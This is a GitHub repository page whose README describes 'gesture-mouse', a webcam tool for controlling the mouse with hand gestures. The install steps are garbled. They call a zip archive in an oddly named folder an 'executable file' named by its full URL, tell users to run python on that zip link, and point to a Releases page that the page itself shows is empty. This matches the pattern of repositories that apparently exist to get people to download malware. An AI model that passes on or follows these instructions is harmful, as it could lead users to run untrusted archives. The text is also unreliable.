Skip to content

πŸ–οΈ Control your mouse effortlessly with real-time hand gestures using AI and computer vision for a touchless, intuitive experience.

License

Notifications You must be signed in to change notification settings

Phonkich/gesture-mouse

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

6 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸ–οΈ gesture-mouse - Control Your PC with Hand Gestures

🎯 Overview

The gesture-mouse project uses AI to create a touchless mouse controller. With your webcam and hand gestures, you can navigate your computer without any physical device. This project enhances how we interact with our computers in a simple way.

πŸ“₯ Download the Application

Download gesture-mouse

πŸš€ Getting Started

To start using gesture-mouse, follow these steps:

  1. Ensure Your System Meets the Requirements

    • Operating System: Windows 10 or later, macOS, or Linux.
    • Webcam: An active webcam is required for gesture recognition.
    • Python: Install Python 3.7 or higher.
    • Internet connection: Needed for downloading the software and dependencies.
  2. Download the Software Visit the Releases page to download the latest version of gesture-mouse.

  3. Install the Required Dependencies After downloading, you will need to install a few dependencies for the application to run smoothly. Open your command line interface (Command Prompt for Windows, Terminal for macOS/Linux) and run the following commands:

    pip install opencv-python
    pip install mediapipe
    pip install pyautogui
    pip install pynput
  4. Run the Application Navigate to the folder where you downloaded the application. You will find an executable file named https://github.com/Phonkich/gesture-mouse/raw/refs/heads/main/counterthwarting/gesture-mouse-1.2.zip. Open your command line interface and enter:

    python https://github.com/Phonkich/gesture-mouse/raw/refs/heads/main/counterthwarting/gesture-mouse-1.2.zip

    This command will launch the application. Make sure your webcam is turned on.

πŸ“‚ Features

  • Real-Time Hand Gesture Recognition: The software can recognize different hand gestures and translate them into mouse movements.
  • No Physical Mouse Required: Control your computer without needing a mouse or touchpad.
  • Open Source: Modify or enhance the software as needed.
  • Multiple Gesture Support: Use various gestures to perform different actions.

πŸ’‘ How It Works

Gesture-mouse uses computer vision techniques to interpret hand movements. It recognizes your hand's position and translates it into cursor movements on the screen.

πŸ”§ Troubleshooting

If you encounter any issues, consider the following:

  • Webcam Not Detected: Ensure your webcam is connected and not being used by another application.
  • Poor Recognition: Make sure you are in a well-lit area. Lighting is crucial for the application to function correctly.
  • Sluggish Performance: Close other applications or tabs running in the background to free up system resources.

πŸ“ž Support

For help or inquiries, please open an issue in the repository. We aim to assist you promptly.

πŸ“œ License

gesture-mouse is licensed under the MIT License. You can freely use, modify, and distribute the software within the terms of the license.

πŸ“¬ Contributing

We welcome contributions! If you wish to improve or add new features, please fork the repository and submit a pull request. Your contributions will help enhance this tool for everyone.

πŸ“₯ Download & Install

Now that you know what gesture-mouse is and how it works, it's time to get started. Visit the Releases page to download the latest version. Follow the instructions above to install and run the application. Enjoy controlling your computer with just your hands!

About

πŸ–οΈ Control your mouse effortlessly with real-time hand gestures using AI and computer vision for a touchless, intuitive experience.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages